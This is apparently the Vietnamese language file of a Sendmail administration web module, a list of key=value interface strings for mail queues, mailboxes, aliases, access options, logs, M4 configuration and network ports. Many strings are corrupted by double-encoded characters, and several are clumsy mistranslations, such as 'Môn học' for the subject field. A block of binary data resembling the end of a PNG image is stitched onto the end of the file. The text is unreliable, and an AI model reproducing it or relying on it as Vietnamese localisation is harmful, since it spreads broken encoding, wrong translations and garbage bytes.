mailq_none=Không có thư hiện đang được xếp hàng để gửi
mailq_delete=Xóa tin nhắn đã chá»n
mailq_locked=Ngay cả khi bị khóa
mailq_return=xếp hàng thư
mailq_flush=Hàng đợi thư
mailq_flushsel=Flush chá»n tin nhắn
mailq_flushdesc=Nhấp vào nút này để buộc gửi ngay tất cả các tin nhắn trong hàng đợi và hiển thị kết quả.
mailq_flushquar=Hàng đợi kiểm dịch
mailq_flushquardesc=Nhấp vào nút này để buộc gửi các tin nhắn đã cách ly trong hàng đợi.
mailq_search=Tìm tin nhắn xếp hàng ở đâu
mailq_quar=Cách ly
mailq_refresh=Làm mới hàng đợi thư
mailq_refreshdesc=Tải lại trang này để hiển thị trạng thái hiện tại của hàng đợi thư.

flushq_title=Hàng đợi
flushq_desc=Buộc gửi thử tất cả các tin nhắn bằng lệnh $1 ..
flushq_desc2=Buá»™c gá»­i phân phối $1 tin nhắn đã chá»n ..
flushq_ecannot=Bạn không được phép xóa hàng đợi thư

searchq_title=Kết quả tìm kiếm xếp hàng
searchq_none=Không tìm thấy tin nhắn xếp hàng.

delq_err=Không thể xóa tin nhắn
delq_ecannot=Bạn không được phép gửi tin nhắn
delq_locked=Tệp hiện đang bị khóa để gửi
delq_enone=Không có tin nhắn để xóa được chá»n
delq_titles=Xóa tin nhắn
delq_file=Xóa tệp thư $1 ..
delq_efile=tên tệp không hợp lệ!
delq_egone=đã bị xóa hoặc giao
delq_elocked=bị khóa để gửi
delq_ok=xóa ok
delq_title=Xóa tin nhắn
delq_force=Buộc xóa
delq_ecannot2=bạn không thể xóa tin nhắn này
delq_rusure=Bạn có chắc chắn muốn xóa $1 tin nhắn được xếp hàng đã chá»n không?
delq_confirm=Xóa tin nhắn

boxes_title=Há»™p thư ngưá»i dùng
boxes_user=Ngưá»i sá»­ dụng
boxes_size=Kích thước hộp thư
boxes_none=Không có thư
boxes_return=hộp thư
boxes_sent=Gá»­i mail
boxes_ecannot=Bạn không được phép Ä‘á»c email
boxes_toomany=Có quá nhiá»u ngưá»i dùng trên hệ thống cá»§a bạn để liệt kê tất cả các há»™p thư cá»§a há».
boxes_go=Xem thư cho ngưá»i dùng:

mail_title=Email ngưá»i dùng
mail_from=Từ
mail_date=Ngày
mail_subject=Môn há»c
mail_to=Äến
mail_cc=Cc
mail_bcc=Bcc
mail_pri=Sự ưu tiên
mail_highest=Cao nhất
mail_high=Cao
mail_normal=Bình thưá»ng
mail_low=Thấp
mail_lowest=Thấp nhất
mail_for=Trong 1
mail_for2=Dành cho ngưá»i dùng $1 
mail_sent=Trong danh sách thư đã gửi
mail_size=Kích thước
mail_delete=Xóa bá»
mail_compose=Soạn, biên soạn
mail_return=há»™p thư ngưá»i dùng
mail_pos=Tin nhắn $1 đến $2 của $3 
mail_none=Hộp thư này không có tin nhắn
mail_euserexists=Ngưá»i dùng Unix này không tồn tại
mail_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
mail_all=Chá»n tất cả
mail_invert=Lá»±a chá»n đối nghịch
mail_search=Tìm tin nhắn ở đâu
mail_body=Thân hình
mail_match=diêm
mail_ok=Tìm kiếm
mail_nonefrom=không ai
mail_mark=Äánh dấu là:
mail_mark0=Chưa Ä‘á»c
mail_mark1=Äá»c
mail_mark2=Äặc biệt
mail_forward=Ở đằng trước
mail_move=Chuyển tới:
mail_copy=Sao chép vào:
mail_rfc=Từ dòng
mail_eexists=Tin nhắn không còn tồn tại!

view_title=Äá»c mail
view_desc=Tin nhắn $1 trong $2 
view_desc2=Tin nhắn $1 cho ngưá»i dùng $2 
view_desc3=Tin nhắn $1 
view_sent=Tin nhắn $1 trong danh sách thư đã gửi
view_qdesc=Tin nhắn xếp hàng $1 
view_headers=Tiêu đỠthư
view_body=Tin nhắn văn bản
view_allheaders=Xem tất cả các tiêu Ä‘á»
view_noheaders=Xem các tiêu đỠcơ bản
view_attach=Tài liệu đính kèm
view_reply=Äáp lại
view_reply2=Trả lá»i tất cả
view_enew=Chỉnh sửa như mới
view_forward=Ở đằng trước
view_delete=Xóa bá»
view_flush=Tuôn ra
view_print=In
view_strip=Xóa tệp đính kèm
view_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
view_mark=Äánh dấu tin nhắn là:
view_mark0=Chưa Ä‘á»c
view_mark1=Äá»c
view_mark2=Äặc biệt
view_return=email gốc
view_sub=Email đính kèm
view_egone=Tin nhắn này không còn tồn tại
view_afile=Tên tập tin đính kèm
view_atype=Kiểu đính kèm
view_aname=Tập tin đính kèm
view_asize=Kích thước tập tin

compose_title=Soạn email
reply_title=Trả lá»i email
forward_title=Chuyển tiếp email
enew_title=Chỉnh sửa email
reply_headers=Tiêu đỠthư
reply_attach=Tập tin đính kèm chuyển tiếp
reply_mailforward=Tin nhắn chuyển tiếp
reply_attach2=Tệp đính kèm phía máy khách và máy chủ
reply_send=Gửi thư
reply_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này
reply_body=Tin nhắn văn bản

send_err=Không thể gửi thư
send_eto=Thiếu địa chỉ
send_efrom=Thiếu từ địa chỉ
send_title=Thư đã gửi
send_ok=Thư được gửi thành công tới $1 
send_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này
send_esmtp=Lệnh SMTP $1 không thành công : $2 
send_efile=Tệp đính kèm $1 không tồn tại
send_eattach=Tệp đính kèm không thể có tổng kích thước $1 kB.
send_eperms=Ngưá»i dùng $1 không thể Ä‘á»c $2 
send_eperms2=Bạn không được phép gửi tệp $1 
send_epath=Sendmail thực thi $1 không tồn tại.

delete_title=Xóa thư
delete_rusure=Bạn có chắc chắn muốn xóa $1 tin nhắn đã chá»n khá»i $2 không? Äiá»u này có thể mất má»™t thá»i gian cho má»™t tập tin thư lá»›n. Cho đến khi xóa xong, không nên thá»±c hiện hành động nào khác.
delete_rusure2=Bạn có chắc chắn muốn xóa tin nhắn này từ $1 không? Äiá»u này có thể mất má»™t thá»i gian cho má»™t tập tin thư lá»›n. Cho đến khi xóa xong, không nên thá»±c hiện hành động nào khác.
delete_ok=Xóa ngay bây giá»
delete_ecannot=Bây giá» bạn được phép xóa thư từ ngưá»i dùng này
delete_enone=Không có thư nào được chá»n để xóa
delete_emnone=Không có thư được chá»n để đánh dấu
delete_efnone=Không có thư được chá»n để chuyển tiếp
delete_emoveuser=Ngưá»i dùng di chuyển thư đến không tồn tại
delete_emovecannot=Bạn không được phép chuyển thư đến ngưá»i dùng được chỉ định
delete_emovenone=Không có thư được chá»n để di chuyển
delete_nobutton=Không có nút bấm

search_title=kết quả tìm kiếm
search_ecannot=Bạn không được phép tìm kiếm email cá»§a ngưá»i dùng này
search_ematch=Bạn phải nhập văn bản để phù hợp với.
search_efield=Bạn phải chá»n má»™t loại tìm kiếm.
search_ewhat=Không có văn bản nào khớp với nhập cho hàng $1 
search_enone=Không có tiêu chí tìm kiếm nào được nhập
search_none=Không tìm thấy thư nào.
search_results2=$1 thư phù hợp với $2 ..
search_results3=$1 thư không khớp với $2 ..
search_results4=$1 thư phù hợp với tìm kiếm của bạn ..
search_local=Trong các thư mục địa phương
search_all=Trong tất cả các thư mục
search_eboolean=Các tìm kiếm Boolean sử dụng cả 'và' và 'hoặc' không được hỗ trợ

file_title=Chỉnh sửa tập tin Sendmail
file_desc=Sử dụng hộp văn bản bên dưới để chỉnh sửa thủ công tệp Sendmail $1.
file_undo=Hoàn tác thay đổi
file_edit=Chỉnh sửa thủ công $1 
file_ealiases=Bạn chỉ có thể chỉnh sá»­a tệp bí danh nếu bạn có quyá»n truy cập vào tất cả các bí danh.
file_evirtusers=Bạn chỉ có thể chỉnh sá»­a tệp ánh xạ địa chỉ nếu bạn có quyá»n truy cập vào tất cả ánh xạ địa chỉ.
file_emailers=Bạn không được phép chỉnh sá»­a tập tin định tuyến tên miá»n.
file_egenerics=Bạn chỉ có thể chỉnh sá»­a tệp địa chỉ gá»­i Ä‘i nếu bạn có quyá»n truy cập vào tất cả các địa chỉ gá»­i Ä‘i.
file_edomains=Bạn không được phép chỉnh sá»­a tập tin ánh xạ tên miá»n.
file_eaccess=Bạn không được phép chỉnh sửa tập tin kiểm soát thư rác.
file_ecannot=Bạn không được phép chỉnh sửa tập tin này
file_emode=Chế độ không xác định!
file_err=Không thể chỉnh sửa tập tin
file_ealias=Äịnh dạng không hợp lệ cho dòng tệp bí danh : $1 
file_etab=Äịnh dạng không hợp lệ cho dòng tệp bản đồ : $1 

acl_opts=Có thể chỉnh sá»­a tùy chá»n sendmail?
acl_ports=Có thể chỉnh sửa cổng mạng?
acl_cws=Có thể chỉnh sá»­a tên miá»n địa phương?
acl_masq=Có thể cấu hình tên miá»n giả mạo?
acl_trusts=Có thể chỉnh sá»­a ngưá»i dùng đáng tin cậy?
acl_cgs=Có thể chỉnh sá»­a tên miá»n Ä‘i?
acl_relay=Có thể chỉnh sá»­a tên miá»n chuyển tiếp?
acl_mailers=Có thể cấu hình định tuyến tên miá»n?
acl_access=Có thể cấu hình kiểm soát thư rác?
acl_domains=Có thể cấu hình ánh xạ tên miá»n?
acl_stop=Có thể bắt đầu và dừng sendmail?
acl_manual=Có thể tự chỉnh sửa tập tin?
acl_flushq=Có thể xả hàng đợi thư?
acl_mailq=Có thể quản lý hàng đợi thư?
acl_viewdel=Xem và xóa
acl_view=Chỉ xem
acl_vcatchall=Có thể tạo bản đồ Catchall?
acl_qdoms=Äịa chỉ hiển thị trong hàng đợi
acl_qdomsmode=Äịa chỉ xếp hàng để khá»›p
acl_qdomsmode0=Từ: địa chỉ
acl_qdomsmode1=Äến địa chỉ
acl_qdomsmode2=Äịa chỉ
acl_virtusers=Ãnh xạ địa chỉ ngưá»i dùng này có thể chỉnh sá»­a
acl_none=không ai
acl_same=Ngưá»i dùng có cùng tên
acl_all=Tất cả
acl_vsame=Bắt đầu vá»›i tên ngưá»i dùng @
acl_matching=Kết hợp biểu thức chính quy
acl_vtypes=Các kiểu ánh xạ địa chỉ mà ngưá»i dùng này có thể chỉnh sá»­a
acl_vtype0=Lỗi trả lại
acl_vtype1=Äến miá»n
acl_vtype2=Äến địa chỉ
acl_vmax=Số ánh xạ địa chỉ tối đa
acl_unlimited=Vô hạn
acl_aliases=Bí danh ngưá»i dùng này có thể chỉnh sá»­a
acl_atypes=Các loại bí danh ngưá»i dùng này có thể chỉnh sá»­a
acl_atype1=ÄiÌ£a chỉ email
acl_atype2=Äịa chỉ trong tập tin
acl_atype3=Viết vào tập tin
acl_atype4=Thức ăn cho chương trình
acl_atype5=Tá»± động trả lá»i
acl_atype6=Lá»c tập tin
acl_amax=Số lượng bí danh tối đa
acl_outgoing=Äịa chỉ gá»­i Ä‘i mà ngưá»i dùng này có thể chỉnh sá»­a
acl_read=Ngưá»i dùng có thể Ä‘á»c thư
acl_users=Chỉ ngưá»i dùng
acl_userse=Tất cả ngoại trừ ngưá»i dùng
acl_usersg=Thành viên của nhóm
acl_from=Cho phép từ địa chỉ
acl_any=Äịa chỉ bất kỳ
acl_fdoms=Há»™p thư @ tên miá»n
acl_faddrs=Äịa chỉ được liệt kê
acl_fdom=Bất kỳ địa chỉ @ tên miá»n
acl_fromname=Tên thật cho từ địa chỉ
acl_apath=Giới hạn tập tin và chương trình vào thư mục
acl_attach=Tổng kích thước tệp đính kèm tối đa
acl_sent=Lưu trữ thư đã gửi trong hộp thư
acl_canattach=Có thể đính kèm tập tin phía máy chủ?
acl_boxname=Hiển thị tên hộp thư là
acl_boxname0=Tên tệp
acl_boxname1=Tên thật cá»§a ngưá»i dùng
acl_boxname2=Không có gì
acl_usersm=Ngưá»i dùng phù hợp
acl_asame=Giống như tên ngưá»i dùng
acl_usersu=Với UID trong phạm vi
acl_spam=Äịa chỉ kiểm soát thư rác ngưá»i dùng này có thể chỉnh sá»­a

log_opts=Thay đổi tùy chá»n sendmail
log_ports=Thay đổi cổng mạng
log_alias_create=Äã tạo bí danh $1 
log_alias_modify=Bí danh đã sửa đổi $1 
log_alias_delete=Äã xóa bí danh $1 
log_alias_manual=Chỉnh sửa thủ công tệp bí danh $1 
log_cws=Thay đổi tên miá»n địa phương
log_masq=Thay đổi tên miá»n giả mạo
log_trusts=Thay đổi ngưá»i dùng đáng tin cậy
log_virtuser_create=Tạo ánh xạ địa chỉ $1 
log_virtuser_modify=Ãnh xạ địa chỉ đã sá»­a đổi $1 
log_virtuser_delete=Äã xóa ánh xạ địa chỉ $1 
log_virtuser_manual=Chỉnh sửa thủ công tệp ánh xạ địa chỉ $1 
log_mailer_create=Tạo định tuyến tên miá»n $1 
log_mailer_modify=Äịnh tuyến tên miá»n đã sá»­a đổi $1 
log_mailer_delete=Äã xóa định tuyến tên miá»n $1 
log_mailer_manual=Tập tin định tuyến tên miá»n được chỉnh sá»­a thá»§ công $1 
log_generic_create=Tạo địa chỉ gửi $1 
log_generic_modify=Äịa chỉ gá»­i đã sá»­a đổi $1 
log_generic_delete=Äã xóa địa chỉ gá»­i $1 
log_generic_manual=Chỉnh sửa thủ công tệp địa chỉ gửi $1 
log_cgs=Thay đổi tên miá»n Ä‘i
log_domain_create=Tạo ánh xạ tên miá»n $1 
log_domain_modify=Ãnh xạ tên miá»n đã sá»­a đổi $1 
log_domain_delete=Äã xóa ánh xạ tên miá»n $1 
log_domain_manual=Tập tin ánh xạ tên miá»n được chỉnh sá»­a thá»§ công $1 
log_access_create=Tạo kiểm soát thư rác cho $1 
log_access_modify=Kiểm soát thư rác đã sửa đổi cho $1 
log_access_delete=Äã xóa kiểm soát spam cho $1 
log_access_manual=Tập tin kiểm soát spam được chỉnh sửa thủ công $1 
log_relay=Thay đổi tên miá»n chuyển tiếp
log_flushq=Hàng đợi thư bị dội
log_delmailq=Äã xóa thư từ $1 khá»i hàng đợi
log_delmailqs=Äã xóa $1 thư từ hàng đợi
log_stop=Trình ná»n sendmail đã dừng
log_start=Bắt đầu gửi daemon
log_delmail=Äã xóa $1 tin nhắn từ $2 
log_movemail=Äã chuyển $1 tin nhắn từ $2 sang $3 
log_send=Äã gá»­i thư đến $1 
log_feature_create=Äã thêm mục nhập M4 $1 
log_feature_modify=Mục nhập M4 đã sửa đổi $1 
log_feature_delete=Äã xóa mục nhập M4 $1 
log_feature_move=Äã chuyển mục M4 $1 
log_build=Cấu hình lại sendmail
log_delete_aliases=Äã xóa $1 bí danh
log_delete_virtusers=Äã xóa $1 ánh xạ địa chỉ
log_delete_domains=Äã xóa $1 ánh xạ tên miá»n
log_delete_accesses=Äã xóa $1 mục kiểm soát thư rác
log_delete_generics=Äã xóa $1 địa chỉ gá»­i Ä‘i
log_delete_mailers=Äã xóa $1 tuyến đưá»ng tên miá»n

match_from=Từ: trận đấu
match_subject=Chá»§ Ä‘á»: trận đấu
match_to=Tới: trận đấu
match_cc=Cc: trận đấu
match_date=Ngày: trận đấu
match_status=Tình trạng trùng khớp
match_body=Trận đấu cơ thể
match_size=Kích thước lớn hơn
match_headers=Tiêu đỠphù hợp
match_=-----------------
match_!from=Từ: không khớp
match_!subject=Chá»§ Ä‘á»: không khá»›p
match_!to=To: không khớp
match_!cc=Cc: không khớp
match_!date=Ngày: không khớp
match_!status=Trạng thái không khớp
match_!body=Cơ thể không phù hợp
match_!size=Kích thước nhỠhơn
match_!headers=Tiêu đỠkhông khớp

features_title=Cấu hình Sendmail M4
features_desc=Trang này liệt kê các mục liên quan từ tệp cấu hình Sendmail M4 $1, từ đó tệp cấu hình thực tế $2 được tạo.
features_type=Nhập cảnh
features_value=Dòng trong tập tin cấu hình
features_type0=Khác
features_type1=Äặc tính
features_type2=Äịnh nghÄ©a
features_type3=Không xác định
features_type4=Ngưá»i gá»­i thư
features_type5=Loại hệ Ä‘iá»u hành
features_add=Thêm mục nhập mới của loại:
features_build=Xây dựng lại cấu hình Sendmail
features_buildmsg=Nhấp vào nút này để xây dựng lại tệp cấu hình Sendmail của bạn $1 từ các mục cấu hình M4 được liệt kê ở trên.
features_return=Cấu hình M4
features_emc=Không tìm thấy tệp cấu hình Sendmail M4 $2 trên hệ thống của bạn. Có thể nó chưa được cài đặt (phổ biến cho các bản cài đặt Sendmail được đóng gói) hoặc <a href='$1'>cấu hình mô-đun</a> không chính xác.
features_efeatures=Không tìm thấy thư mục cơ sở cấu hình Sendmail M4 $2 trên hệ thống của bạn hoặc không phải là thư mục chính xác. Có thể nó chưa được cài đặt (phổ biến cho các bản cài đặt Sendmail được đóng gói) hoặc <a href='$1'>cấu hình mô-đun</a> không chính xác.
features_econfig=Vị trí của thư mục cơ sở Sendmail M4 và tệp cấu hình M4 chưa được đặt trong cấu hình mô-đun <a href='$1'>của bạn</a>. Nếu bạn đã cài đặt Sendmail từ nguồn, chúng sẽ nằm trong thư mục nguồn gốc.
features_move=Di chuyển
features_manual=Chỉnh sửa tập tin theo cách thủ công

feature_add=Thêm mục cấu hình
feature_edit=Chỉnh sửa mục cấu hình
feature_header=Chi tiết nhập cấu hình M4
feature_text=Dòng cấu hình
feature_feat=Äặc tính
feature_values=Thông số
feature_def=Tên định nghĩa
feature_defval=Giá trị
feature_defmode1=Äặt thành ..
feature_defmode0=Không xác định
feature_mailer=Phương thức gửi thư
feature_ostype=Loại hệ Ä‘iá»u hành
feature_old=Dòng cấu hình hiện tại
feature_err=Không thể lưu mục cấu hình
feature_efeat=Tính năng $1 đã tồn tại
feature_edef=Äịnh nghÄ©a $1 đã tồn tại
feature_emailer=Ngưá»i gá»­i thư $1 đã tồn tại
feature_eostype=Loại hệ Ä‘iá»u hành đã được xác định là $1 
feature_manual=Chỉnh sửa tệp M4
feature_mdesc=Trang cho phép bạn chỉnh sửa thủ công tệp cấu hình Sendmail M4 $1. Hãy cẩn thận, vì không có kiểm tra cú pháp sẽ được thực hiện trên các chỉnh sửa của bạn.

feat_access_db=Tập tin kiểm soát thư rác
feat_virtusertable=Ãnh xạ địa chỉ
feat_mailertable=Äịnh tuyến tên miá»n
feat_genericstable=Äịa chỉ gá»­i Ä‘i
feat_domaintable=Ãnh xạ tên miá»n

mailer_local=Giao hàng Unix cục bộ

build_title=Xây dựng lại cấu hình Sendmail
build_em4=Lệnh $1 cần thiết để xây dựng lại tệp cấu hình Sendmail không được tìm thấy trên hệ thống của bạn.
build_ebuild=Không thể xây dựng cấu hình : $1 
build_rusure=Bạn có chắc chắn muốn thay thế tệp cấu hình Sendmail $1 bằng phiên bản mới được xây dựng từ $2 không?
build_rusure2=Xin lưu ý rằng nếu bạn đã thá»±c hiện các thay đổi đối vá»›i Sendmail trong trang Tùy chá»n Sendmail, việc xây dá»±ng lại tệp cấu hình có thể ghi đè lên các thay đổi đó nếu chúng không được thá»±c hiện trong tệp M4.
build_ok=Vâng, thay thế nó ngay bây giá»
build_diff=Những thay đổi sau sẽ được thực hiện đối với tệp cấu hình Sendmail của bạn ..
build_nodiff=Tập tin cấu hình sendmail của bạn đã được cập nhật.

stop_err=Không thể dừng gửi thư
stop_ecannot=Bạn không được phép dừng sendmail
stop_epid=Sendmail dưá»ng như không chạy
restart_epids=Không thể tìm thấy quy trình sendmail
restart_ekill=Không thể báo hiệu các quy trình gửi thư : $1 

start_err=Không thể bắt đầu sendmail
start_ecannot=Bạn không được phép bắt đầu sendmail

ports_title=Cổng mạng
ports_name=Tên cổng
ports_addr=Nghe theo địa chỉ
ports_all=Tất cả
ports_ip=IP
ports_family=Giao thức
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Nghe trên cổng
ports_opts=Tùy chá»n cổng
ports_mod_a=Yêu cầu xác thực SMTP
ports_mod_b=Sử dụng cùng giao diện cho email gửi đi
ports_mod_c=Thực hiện chuẩn hóa tên máy chủ
ports_mod_f=Yêu cầu tên máy chá»§ đủ Ä‘iá»u kiện
ports_mod_h=Sử dụng tên của giao diện cho Helo
ports_mod_C=Không thực hiện chuẩn hóa tên máy chủ
ports_mod_E=Không cho phép ETRN
ports_def1=Chấp nhận email trên cổng 25 và tất cả các địa chỉ
ports_def0=Chỉ chấp nhận email trên các cổng bên dưới ..
ports_err=Không thể lưu các cổng mạng
ports_ecannot=Bạn không được phép quản lý các cổng mạng
ports_ename=Tên cổng không hợp lệ trong hàng $1 
ports_eclash=Tên cổng trùng lặp trong hàng $1 
ports_eaddress=Äịa chỉ IP bị thiếu hoặc không hợp lệ trong hàng $1 
ports_eport=Số cổng bị thiếu hoặc không hợp lệ trong hàng $1 
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚